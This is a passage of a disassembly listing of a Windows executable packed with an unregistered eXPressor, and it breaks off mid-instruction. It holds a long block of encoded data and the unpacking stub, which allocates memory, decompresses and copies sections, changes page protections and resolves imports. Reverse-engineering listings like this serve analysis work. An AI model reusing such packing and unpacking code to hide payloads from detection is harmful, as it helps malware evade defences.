5BC521D6h, 0E5248CC6h, 0ED93F079h, 8D21DAB2h dd 8C6BAD55h, 3A60F3Eh, 0E5F3DE1Bh, 321A96F0h, 0E002CAE5h dd 0D29BAC31h, 7A621F6Ah, 356028C2h, 38F80547h, 6FEC840Ch dd 4D209ED2h, 0FA40075Fh, 0D569F3D9h, 81958E1Ch, 0ACEA0CC6h dd 139757E4h, 811AE0A0h, 81C0D7DFh, 7B157A9h, 0E78B64DBh dd 9553CF5Ch, 5167EBD0h, 0D99AA607h, 5EECD32Bh, 46CC3DFCh dd 0F82E1B88h, 588087D9h, 68D5977Fh, 325B26B0h, 3F99A2C0h dd 0CA9CAD0h, 116EF666h, 8701AD28h, 9A1BFFF9h, 0A6F9F298h dd 4F1648CCh, 0AF330188h, 7ADEEBF0h, 0DA4D2FB8h, 24D645B4h dd 0F938952Ah, 3767352Ah, 6F9EC25Ch, 609D1188h, 73CE47DEh dd 0ED190D77h, 2966BE35h, 0EE23F4AFh, 9D02BD1h, 0D10F8463h dd 74C4010Eh, 59C0E4C1h, 0D5F17188h, 58C54E0Ch, 67E7057Ch dd 13C4EC41h, 507DF718h, 0FD76F7B3h, 8BAA3731h, 4331F315h dd 297D36AFh, 0A4653DDBh, 4B6C7F26h, 3251DE56h, 6F7C830Dh dd 0EE961C02h, 50450C35h, 8F3B5E38h, 30BEDD36h, 50D82AF6h dd 55438446h, 34F287CFh, 0CFBA96E9h, 232FFB5Ch, 0D210A212h dd 0F51DA815h, 3D161EB3h, 5371A807h, 0C71846E1h, 72590A5Fh dd 0ECB0BE30h, 7CAA191Eh, 976FD844h, 6B57D819h, 0A0831C38h dd 0D31FA806h, 7EF8B92Dh, 5E158BBEh, 0B2F831F0h, 0C9D8981h dd 277F9489h, 0A5C3D9DBh, 25D095Bh, 0B6ACBF31h, 61738868h dd 8762B1A2h, 915C0AC1h, 44301723h, 5A38A319h, 0E7278C49h dd 0DC48BDEDh, 4FA64724h, 0B322128Fh, 0D2B26AF7h, 0DB18A4E7h dd 0D16BCC23h, 49428D4Eh, 0DAF1E7B2h, 79D94C9Eh, 0F3EA721h dd 38F99B2Bh, 654513A5h, 95D6AC01h, 0EA427233h, 0C50405D1h dd 8871FE7h, 78DB94Fh, 70F318AEh, 0F33BF1F7h, 8D752675h dd 0C42A635Ah, 0E6380809h, 4D46C88h, 6FC57BA1h, 0E1E2B7F8h dd 274CF61Fh, 0F70EA22Ch, 7AE3E224h, 0ED4FC870h, 9E0BB8B4h dd 0FB608562h, 0F9A22DC8h, 0FD0B8E17h, 4B720C92h, 7C1E0A92h dd 824BEECAh, 51F54893h, 9689D733h, 0F146808Ah, 0D0FA57BDh dd 53E00C96h, 0BA70496Eh, 0C626CA0Bh, 0BB83A590h, 0A25955DBh dd 9B9C47E9h, 0D6162F85h, 0BAD84F39h, 31BB12A1h, 8CC2BD34h dd 7F696CDFh, 351F7B1Eh, 6C3F4209h, 0AD3DBFFh, 9782437h dd 0D1FA7A64h, 0BC9B7F8h, 84D034Ah, 3647A27h, 50003A24h dd 4EE38D3Dh, 60AB748Ah, 993EE365h, 0DFE67C52h, 51E83E5Dh dd 0B004EA69h, 92E92614h, 1E3FF65Dh, 1BBF6551h, 0B64183Dh dd 4E5E084Bh, 7A3ADB97h, 0BB8CBB69h, 0C2D87882h, 6CFAC0Bh dd 0DE7C3BB4h, 513C1438h, 38828D79h, 0FD34EF37h, 0F86920C8h dd 5C56B764h, 0C5398130h, 0CFBDF8EAh, 12AB521Eh, 0C198DF93h dd 8E6DD96Bh, 0D90975AFh, 457E540Ch, 3B7A9ADEh, 0BCE67D5Bh dd 0C14E4C5Fh, 0FE3A719Eh, 0EFBE7A30h, 0D5812890h, 834D6A95h dd 0CF6C7613h, 64417CBBh, 7B3EBA03h, 0CB98AC2Ch, 9231D4EAh dd 15B05A3Eh, 465C209Bh, 482D7194h, 4728B108h, 6D3C89A2h dd 0D941147Ah, 5177D625h, 12F1E50h, 0EE52A620h, 0E702ED64h dd 473B954Eh, 3A3212A2h, 0AFD9CFD8h, 870FF1B9h, 0A6137D8Fh dd 0C879655Fh, 0B4DE61D3h, 6F68DA8Bh, 3A506F1Eh, 7FF09DC7h dd 3DC39FC4h, 0F60EAF8Ah, 0EC2403C1h, 0F75BE0F0h, 50A6F62Ch dd 0A11CD832h, 0FA5C19ABh, 9FBE7BB9h, 9ABDDA43h, 2BC27B13h dd 0CF0D5A8Dh, 87CCDB82h, 0D9615AA4h, 2BC65E7Bh, 32FDB79Bh dd 0F7ED9CEAh, 0D9EC8857h, 6080FC4Eh, 0E96511DCh, 0D35D32ACh dd 382F6077h, 7295DCEFh, 1B72C9F3h, 6AA6688Bh, 0A218F18Ah dd 88EDA62Ah, 4C08E3DFh, 430314EFh, 6E4C07FDh, 61B58B99h dd 0D77628EAh, 77D02344h, 0C3F551D7h, 959324B6h, 0C28AF419h dd 0A5C6042Dh, 386D2492h, 298EC5D8h, 0F35549Eh, 0D67CA12Ch dd 825369C0h, 8DDFF4D3h, 0E8B6E1Dh, 0A1C3EB85h, 3350D1E5h dd 0EAE4F369h, 99B2D8D2h, 26571291h, 0B6415C18h, 76F9102Ch dd 7B316039h, 0CB2B5D15h dd 32545521h, 6F082F05h, 0AF217DE8h, 6FEEA5ABh, 0F86D3E03h dd 536AC627h, 6DB6CDFAh, 0B7E9D1C4h, 37FB85AEh, 1047B2E8h dd 0B44E67F5h, 49B1A1Ch, 57E3B5E7h, 0B0C7E3FBh, 0A08FABE3h dd 1367705Fh, 94D1C1Fh, 6B25FED7h, 0AEE912DAh, 0FBF966FAh dd 1FCB1F92h, 94F4D079h, 32B8327Ah, 5078316Ah, 0A11C6716h dd 23554AFh, 8938D266h, 0A5A6898Bh, 1F245ECBh, 628C3D84h dd 1536688Ch, 1254D9DDh, 0E06C9D20h, 0A659CF22h, 2BD58A82h dd 0D5ECDB6h, 0F84751E4h, 526515CEh, 79836125h, 0EC65EEBCh dd 7224BF85h, 0F3DA54E1h, 0B56B3ED2h, 664E64A7h, 0DD62B83Dh dd 0C85E3562h, 845129D6h, 1AE5FDA7h, 4D467C08h, 6B11723Eh dd 1838DC38h, 0C04B414Bh, 23DF0D9Ch, 7F5695DEh, 62EEF5BEh dd 820706B7h, 2B7366F9h, 15F45EF3h, 3E2128ACh, 0AA894DC2h dd 0F49BC896h, 77ED0684h, 0CC5B4854h, 59B76F77h, 0FA782D4Dh dd 312D76D3h, 0CDB77A47h, 0B7AE843Dh, 0B0F53A7Fh, 0E60FC947h dd 1456E4F5h, 0D49EF9h, 0F15B6173h, 6835A6AAh, 0CE8431BEh dd 0C239131Ah, 0ACABA0Eh, 0B61143E3h, 23856B1Fh, 44B59A70h dd 0A58A801Ch, 37FC796h, 0D344577h, 56E97009h, 0EE4D359Fh dd 2BE875Dh, 0F3B61DB1h, 5F6A72EBh, 0C9D96BFFh, 8CA9FBDCh dd 0C9C791C9h, 0FB20F2B2h, 798C81B2h, 7B32886Eh, 52589876h dd 0EF1BE23Ah, 0E50E79A7h, 0C30774D7h, 0DB4B1523h, 85B8D2Bh dd 0BE43E9C3h, 3A742233h, 481E88AEh, 353B4A47h, 0AD1D50E8h dd 69734C23h, 69DDB977h, 5FA0F6A4h, 2FE9B658h, 4143753Dh dd 0E3FCD2E7h, 9D5C228h, 0F57F9FCh, 0A772C162h, 15BF632Fh dd 21516CACh, 8A71F1A5h, 27CE839Dh, 57D91EE3h, 0C7E996EEh dd 0BB6E2B92h, 75B017FEh, 37B6364Fh, 0B98CFC6Bh, 8A69F33Fh dd 62EEB8AFh, 67FB3CEDh, 537D5373h, 6E910D68h, 4EF39474h dd 38EB67BDh, 8988FACh, 896B9C36h, 0C066A796h, 0CE8EBA95h dd 98AD193Dh, 52194D8Eh, 0EDAF5CBAh, 77CCAC71h, 0FDA184B4h dd 7D5E9C6Dh, 0A8692391h, 0C2CF114Bh, 95B1E73Ah, 29578FE2h dd 39BDD48Dh, 0EC16FC1Ch, 293AE206h, 4E654C53h, 0F6001AD3h dd 3CA81677h, 0B1DAEFB8h, 64C24B1Dh, 0F7C95929h, 91B994C6h dd 4C7ECFF9h, 30C7F3F4h, 9E727C36h, 8C488B17h, 0DB38C674h dd 0A6386CDFh, 70DDA9A0h, 2539BE97h, 0FC3D9FA3h, 3AA2727Eh dd 27C14934h, 0DFABF162h, 72740761h, 178935EAh, 0E92E22DBh dd 6366C3DBh, 3310E419h, 17223936h, 2E47DC79h, 2F7A14EAh dd 4A5B1F3Fh, 50E9576Bh, 7DE7BEE7h, 0AD37419Ah, 0A27E58FBh dd 0B9CF95A2h, 0FFC01980h, 0B536ECA7h, 1500295Ah, 0AB148B6Eh dd 7099D3EAh, 2C0219h, 0D9859B13h, 33944F72h, 0FAEB6570h dd 0E6AED4B3h, 0EFD329CDh, 896CD9EDh, 0D14AC8FCh, 915FFD05h dd 60C37288h, 8CF8C54h, 5C3019C3h, 47CEB1EFh, 683EF903h dd 705030DFh, 530AAEBEh, 90F0DC9Ch, 0E39B7256h, 4A7D54FBh dd 0F416D4B4h, 172B5Eh, 8A448B16h, 12B70101h, 70BAF5Fh dd 1D5A1134h, 7D8C29DCh, 0FE889A9Ah, 0AB8B8645h, 0E5AC385Ch dd 0A0B493C5h, 0E53CAA91h, 7FA2FE1h, 11BF3DB1h, 1BF99731h dd 0D5E5D051h, 0CCEBCBD1h, 67D64DF7h, 3D342719h, 7CC90343h dd 0D275F2DEh, 0C7069AEBh, 30EB9F18h, 2A128734h, 0AD9CB799h dd 0C0601DBEh, 0D7327548h, 1764F217h, 7F854EFBh, 224C115Dh dd 0CC1F22E6h, 495FDFh, 0EA2BD4EEh, 9F59162Bh, 0E571D967h dd 804401Ch, 31C23347h, 6D3EE7D8h, 41645219h, 0F082501Ah dd 400FAADFh, 449A8DAFh, 5E163FDCh, 0C0AF39AFh, 0CA2DB61Dh dd 0BE0F3D60h, 0DE73F92Fh, 76788FC1h, 0C6129250h, 30853451h dd 118890Ch, 3B7D24D8h, 2C486EDDh, 0F0AAFAAh, 229A535h dd 7D63D108h, 0B04CEA46h, 0AD966751h, 8AC61426h, 6CA759B1h dd 172F51E4h, 885425D8h, 8CFE43EFh, 397DF494h, 0F77F2D99h dd 2BE0D2CEh, 0D38E6667h, 0AC77714Bh, 86AD23E4h, 0CF8A1571h dd 28184716h, 9643B368h, 40A8C270h, 541B627h, 10BE88E3h dd 0F2655F60h, 6968D8D7h, 0D93786C1h, 49AFAA8Bh, 9789794Fh dd 0DC461E10h, 599CAF1Fh, 2D4BE151h, 0C0BB8297h, 0AF20AEDh dd 0EEB5F89Ch, 80F38779h, 1C3D2894h, 3A59F192h, 7C66CF3Eh dd 0D83821A0h, 0EB9399C6h, 0EC0781E4h, 0FA38A423h, 263F68CCh dd 270B464Ah, 0C4E83022h, 0C4DB60A4h, 36ACD1F4h, 0B8A6C8E0h dd 0D2DCE197h, 88ADD21h, 8D2A7AD8h, 47CE87D2h, 4FA5110Dh dd 0C9685EB7h, 0AD625BA6h, 7E1FD005h, 0CEC9BF55h, 76B69725h dd 373A6F6Fh, 4CEE0956h, 0CEB79371h, 2D0C945Bh, 0DAAD03CCh dd 0CF913D89h, 0D9A2B909h, 967890B4h, 0E8DD1BFFh, 0DB594BFAh dd 0BA0F98E3h, 31233B0h, 0E3EC63A2h, 0F37738AEh, 0D158B479h dd 4D97CAEAh, 20F177EEh, 4629B27Ch, 222FD1DFh, 9C2144D4h dd 1AB80FE9h, 0EDDB05C0h, 0CDC66BB3h, 816860C8h, 36276140h dd 6FAF4713h, 0A64BF833h, 9FF53DDDh, 59AA1B9Dh, 901F9802h dd 0CFA62B19h, 6064C3D6h, 71000377h, 0A2A10FB4h, 2E14E98Bh dd 0E92A954Eh, 0E84B1468h, 728C0C73h, 46270367h, 87905070h dd 9479310Dh, 922ED44Bh, 1D51FAB4h, 5F92A681h, 0D4B4464Eh dd 202488CBh, 541C0CEEh, 0D1EDF5A7h, 2B92EC59h, 0CE9824FFh dd 9F8C1A5Dh, 0B1DAB495h, 98A79F21h, 0B4F19CBDh, 5F7D6EF5h dd 8BBEABD4h, 0A87192CAh, 805D383Dh, 0AAE73F7Fh, 56A6F5A9h dd 0CB333715h, 1235A0AEh, 0C741BBB1h, 0A5388C11h, 43B9DAA8h dd 6C6915A5h, 1705E413h, 1F641489h, 18040C84h, 22A7747Ch dd 0BA1F5160h, 762BECF0h, 877677C9h, 0DBE527D7h, 2B704507h dd 0DF81EB3Bh, 46C09D12h, 6BE5AFE8h, 3562868Ah, 0C1284EE6h dd 0E8637AFEh, 2E18ACB5h, 938F0D12h, 3A2D7F8Bh, 487ACDA5h dd 0EF0C8E0Fh, 0A065BAF4h, 51998831h, 4F45F126h, 9D0C792Bh dd 1CEC2E12h, 573BA309h, 25C12Fh, 49BDCF07h, 0FB291C5Fh dd 0AFC4106Dh, 5B004429h, 6C277D02h, 0DD3826A3h, 7D3FD646h dd 26E61CA4h, 1FF03A23h, 1DFE70Dh, 6FC36EC0h, 0EF00DE4Eh dd 0F1D0F0DEh, 721F14A4h, 26561682h, 6E0C2877h, 230EBA80h dd 66DF110Eh, 300706A0h, 8C3C35Fh, 6F8647F0h, 60AB4A9Dh dd 0F1C8C60Eh, 0EE623B08h, 1BDD20E2h, 9895F9BDh, 0BA70E5C8h dd 0F77D9BFAh, 0BD744255h, 9D45D599h, 0F5D3F771h, 75F7286Ah dd 0A5648996h, 6D220921h, 0ACB3C02Fh, 0FCE7628Ah, 0FE51A61Fh dd 4D44D9D8h, 3185E8FAh, 785195A3h, 546518FDh, 308BC5DAh dd 0C782184Eh, 7D800451h, 0CFAD7B3Eh, 0A3DCFDB4h, 0F9D04270h dd 0B754F5C2h, 0C73CFE24h, 9E742E0Dh, 2C0B1C99h, 2102C7CBh dd 0EBDB2577h, 9936AAFFh, 73AA0D73h, 7CACADBDh, 3D516682h dd 0FC31E00Bh, 0B4E34D53h, 5EA6D741h, 588D4745h, 0C2A40A35h dd 0A8F78984h, 0E16766F6h, 756A797h, 88E8E953h, 0CBB60CC1h dd 0E42FAD31h, 87B05EA1h, 0A232F036h, 0C1C8C7C3h, 20CD0AE2h dd 278C6B97h, 0D705F238h, 1B23119Bh, 0E5FBCFD4h, 0B5B9C142h dd 0D4B473A4h, 0C99CACB2h, 0D022AFAAh, 0D5B0F1ABh, 0AD600CD9h dd 857E0EB1h, 398582BDh, 4D4A94BBh, 4D28ABF9h, 20D11FB6h dd 0FD0C3400h, 0A46715D4h, 48BD1785h, 0C8A394CFh, 8CC55F2Eh dd 0E7F2C96Fh, 775EF3A3h, 3C727108h, 9C2BB233h, 0BFCB6466h dd 1B8CCA0Bh, 124C3CD8h, 64B0F4EEh, 0D1C084Ah, 370F8840h dd 9E2847EFh, 0A666FE0h dd 51A8169Eh, 0D3300C30h, 0D9AB47F1h, 3A95FF5Bh, 5E6132h dd 8000h, 193C8013h, 6E537C5Ah, 0F2D9F54Bh, 0F6BB492h dd 0E3F9662Eh, 0FFFF0D6Ah, 9048FCh _pdata ends ; Section 3. (virtual address 000A3000) ; Virtual size : 000012D3 ( 4819.) ; Section size in file : 000012D3 ( 4819.) ; Offset to raw data for section: 000A3000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 4A3000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_4A3000 dd 1200h ; DATA XREF: start+6Br start+70o off_4A3004 dd offset dword_4A4200 ; DATA XREF: sub_4A341Dr start+75w ... dword_4A3008 dd 400000h ; DATA XREF: start+9Ew start+131r ... dword_4A300C dd 1 ; DATA XREF: start:loc_4A347Fr ; start:loc_4A348Dw dword_4A3010 dd 0 ; DATA XREF: start:loc_4A3A0Er ; start+5F2r ... dword_4A3014 dd 0 ; DATA XREF: start+2Bw start+45r dword_4A3018 dd 0 ; DATA XREF: start+3Cr off_4A301C dd offset sub_4198E4 ; DATA XREF: start+5DCw ; start:loc_4A3A2Ar dd 0 aThisApplicatio db 'This application was packed with an Unregistered version of eXPre' ; DATA XREF: start+8Co db 'ssor.',0Ah db 'For registration, please visit www.cgsoftlabs.ro',0 aInfo db 'Info',0 ; DATA XREF: start+87o align 4 aR0 db 'à0',0Ah,0 align 10h a1_1 db 'Ä1',0Ah,0 dd 0A310Ch, 0A3104h, 2 dup(0) dd 0A31E0h, 0A3130h, 5 dup(0) dd 0A3138h, 0A3146h, 0A3156h, 0A3164h, 0A3176h, 0A3188h dd 0A319Ch, 0A31AEh, 0 dd 0A31D2h, 0 dword_4A310C dd 77E79E34h ; DATA XREF: sub_4A3344+ADr start+287r ... dword_4A3110 dd 77E7980Ah ; DATA XREF: sub_4A3344+65r start+171r dword_4A3114 dd 77E75CB5h ; DATA XREF: start+63Br dword_4A3118 dd 77E7A5FDh ; DATA XREF: start+527r start+558r dword_4A311C dd 77E805B8h ; DATA XREF: start+43Br start+48Dr dword_4A3120 dd 77E79F93h ; DATA XREF: start+41Cr dword_4A3124 dd 77E6169Ah ; DATA XREF: start+3FBr start+583r dword_4A3128 dd 77E7A099h ; DATA XREF: start+B2r align 10h dword_4A3130 dd 77D6ADD7h ; DATA XREF: start+93r align 8 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h dd 2490000h, 64616F4Ch, 7262694Ch, 45797261h, 4178h, 65470177h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h dd 6F72506Ch, 74636574h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 aKernel32_dll_1 db 'KERNEL32.dll',0 align 2 dw 1DEh aMessageboxa_0 db 'MessageBoxA',0 aUser32_dll_0 db 'USER32.dll',0 align 4 unicode 0, <^> dw 8000h dd 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh, 56237822h dd 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh, 7F0F3FE0h dd 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h dd 5DAEBB6Dh, 1EA6E26h, 98CBC360h, 7E1B00A6h, 0AD00C202h dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h, 864D550h dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh, 0AE1D8589h dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h, 67207267h dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h, 0C5FB263Ah dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h, 8EB4B4B3h dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h, 0FAACA3D8h dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh dd 4157BD1h, 5DE20A8Eh, 483BBDA5h, 0FFBC7CE5h, 125B38h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3344 proc near ; CODE XREF: start+1E5p start+3AAp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_4A33B6 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_4A3374 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_4A336E: ; CODE XREF: sub_4A3344+2Ej add cl, 0D3h dec eax jnz short loc_4A336E loc_4A3374: ; CODE XREF: sub_4A3344+1Bj cmp cl, 9 jb short loc_4A338B movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_4A3385: ; CODE XREF: sub_4A3344+45j add cl, 0F7h dec eax jnz short loc_4A3385 loc_4A338B: ; CODE XREF: sub_4A3344+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_4A3110 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_4A33BB loc_4A33B6: ; CODE XREF: sub_4A3344+11j push 1 pop eax jmp short loc_4A3418 ; --------------------------------------------------------------------------- loc_4A33BB: ; CODE XREF: sub_4A3344+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_4A3E82 add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_4A310C ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_4A3A75 add esp, 14h mov eax, edi loc_4A3418: ; CODE XREF: sub_4A3344+75j pop edi pop esi pop ebx leave retn sub_4A3344 endp ; =============== S U B R O U T I N E ======================================= sub_4A341D proc near ; CODE XREF: start:loc_4A34C5p mov ecx, ds:off_4A3004 mov eax, offset start sub eax, [ecx+50h] retn sub_4A341D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: sub_4A341D+6o var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = byte ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push ebx push esi push edi and [ebp+var_230], 0 rep jmp short loc_4A344E ; --------------------------------------------------------------------------- dw 5865h dd 762D7250h, 352E312Eh db 2Eh, 0 ; --------------------------------------------------------------------------- loc_4A344E: ; CODE XREF: start+13j cmp [ebp+arg_4], 1 jnz short loc_4A345E mov eax, [ebp+arg_0] mov ds:dword_4A3014, eax jmp short loc_4A3462 ; --------------------------------------------------------------------------- loc_4A345E: ; CODE XREF: start+26j and [ebp+arg_0], 0 loc_4A3462: ; CODE XREF: start+30j cmp [ebp+arg_4], 0 jnz short loc_4A347F cmp ds:dword_4A3018, 0 jz short loc_4A347F cmp ds:dword_4A3014, 0 jz short loc_4A347F jmp loc_4A3A73 ; --------------------------------------------------------------------------- loc_4A347F: ; CODE XREF: start+3Aj start+43j ... cmp ds:dword_4A300C, 0 jz short loc_4A348D jmp loc_4A3A0E ; --------------------------------------------------------------------------- loc_4A348D: ; CODE XREF: start+5Aj mov ds:dword_4A300C, 1 mov eax, ds:dword_4A3000 add eax, offset dword_4A3000 mov ds:off_4A3004, eax mov eax, ds:off_4A3004 cmp dword ptr [eax+4Ch], 0 jnz short loc_4A34C5 push 10h push offset aInfo ; "Info" push offset aThisApplicatio ; "This application was packed with an Unr"... push 0 call ds:dword_4A3130 ; MessageBoxA loc_4A34C5: ; CODE XREF: start+83j call sub_4A341D mov ds:dword_4A3008, eax push 104h lea eax, [ebp+var_210] push eax push [ebp+arg_0] call ds:dword_4A3128 ; GetModuleFileNameA lea eax, [ebp+eax+var_211] mov [ebp+var_224], eax loc_4A34F1: ; CODE XREF: start+E0j mov eax, [ebp+var_224] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_4A350E mov eax, [ebp+var_224] dec eax mov [ebp+var_224], eax jmp short loc_4A34F1 ; --------------------------------------------------------------------------- loc_4A350E: ; CODE XREF: start+D1j mov eax, [ebp+var_224] inc eax mov [ebp+var_224], eax mov eax, [ebp+var_224] lea ecx, [ebp+var_210] sub eax, ecx mov [ebp+var_24C], eax mov ecx, [ebp+var_24C] lea esi, [ebp+var_210] lea edi, [ebp+var_104] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_24C] and [ebp+eax+var_103], 0 mov eax, ds:dword_4A3008 mov [ebp+var_248], eax mov eax, [ebp+var_248] mov ecx, ds:dword_4A3008 add ecx, [eax+3Ch] mov [ebp+var_228], ecx mov eax, ds:off_4A3004 cmp dword ptr [eax+6Ch], 0 jz loc_4A36BE push 4 push 1000h mov eax, ds:off_4A3004 push dword ptr [eax+38h] push 0 call ds:dword_4A3110 ; VirtualAlloc mov [ebp+var_240], eax mov eax, [ebp+var_240] mov [ebp+var_238], eax cmp [ebp+var_238], 0 jnz short loc_4A35C3 jmp loc_4A3A71 ; --------------------------------------------------------------------------- loc_4A35C3: ; CODE XREF: start+190j mov eax, ds:off_4A3004 mov eax, [eax+3Ch] mov [ebp+var_22C], eax mov eax, ds:off_4A3004 mov ecx, ds:dword_4A3008 add ecx, [eax+44h] mov eax, ds:off_4A3004 mov esi, [ebp+var_228] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_218], ecx push [ebp+var_238] mov eax, ds:off_4A3004 push dword ptr [eax+38h] push [ebp+var_218] call sub_4A3344 add esp, 0Ch jmp short loc_4A3628 ; --------------------------------------------------------------------------- loc_4A361B: ; CODE XREF: start+275j mov eax, [ebp+var_230] inc eax mov [ebp+var_230], eax loc_4A3628: ; CODE XREF: start+1EDj mov eax, ds:off_4A3004 movzx eax, word ptr [eax+78h] cmp [ebp+var_230], eax jge short loc_4A36A6 mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 mov ecx, [ecx+eax+84h] mov esi, [ebp+var_238] mov eax, [ebp+var_230] imul eax, 18h mov edx, ds:off_4A3004 mov edi, ds:dword_4A3008 add edi, [edx+eax+88h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 mov edx, [ebp+var_238] add edx, [ecx+eax+84h] mov [ebp+var_238], edx jmp loc_4A361B ; --------------------------------------------------------------------------- loc_4A36A6: ; CODE XREF: start+20Bj push 8000h push 0 push [ebp+var_240] call ds:dword_4A310C ; VirtualFree jmp loc_4A37E3 ; --------------------------------------------------------------------------- loc_4A36BE: ; CODE XREF: start+15Aj mov eax, ds:off_4A3004 mov ecx, ds:dword_4A3008 add ecx, [eax+44h] mov eax, ds:off_4A3004 sub ecx, [eax+40h] mov eax, ds:off_4A3004 mov esi, [ebp+var_228] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_240], ecx and [ebp+var_230], 0 jmp short loc_4A3708 ; --------------------------------------------------------------------------- loc_4A36FB: ; CODE XREF: start:loc_4A37DEj mov eax, [ebp+var_230] inc eax mov [ebp+var_230], eax loc_4A3708: ; CODE XREF: start+2CDj mov eax, ds:off_4A3004 movzx eax, word ptr [eax+78h] cmp [ebp+var_230], eax jge loc_4A37E3 mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 cmp dword ptr [ecx+eax+7Ch], 0 jz loc_4A37DE mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 cmp dword ptr [ecx+eax+84h], 0 jbe loc_4A37DE mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 mov edx, ds:dword_4A3008 add edx, [ecx+eax+88h] mov [ebp+var_238], edx mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 mov eax, [ecx+eax+84h] mov [ebp+var_22C], eax mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 mov edx, [ebp+var_240] add edx, [ecx+eax+80h] mov [ebp+var_218], edx push [ebp+var_238] mov eax, [ebp+var_230] imul eax, 18h mov ecx, ds:off_4A3004 push dword ptr [ecx+eax+84h] push [ebp+var_218] call sub_4A3344 add esp, 0Ch loc_4A37DE: ; CODE XREF: start+305j start+322j jmp loc_4A36FB ; --------------------------------------------------------------------------- loc_4A37E3: ; CODE XREF: start+28Dj start+2EBj mov eax, ds:off_4A3004 mov ecx, ds:dword_4A3008 add ecx, [eax+5Ch] mov [ebp+var_244], ecx loc_4A37F7: ; CODE XREF: start+5C9j mov eax, [ebp+var_244] cmp dword ptr [eax+0Ch], 0 jz loc_4A39FA mov eax, ds:off_4A3004 cmp dword ptr [eax+5Ch], 0 jz loc_4A39FA lea eax, [ebp+var_234] push eax push 40h push 14h push [ebp+var_244] call ds:dword_4A3124 ; VirtualProtect mov eax, [ebp+var_244] mov ecx, ds:dword_4A3008 add ecx, [eax+0Ch] mov [ebp+var_10C], ecx push [ebp+var_10C] call ds:dword_4A3120 ; GetModuleHandleA mov [ebp+var_23C], eax cmp [ebp+var_23C], 0 jnz short loc_4A3873 push 8 push 0 push [ebp+var_10C] call 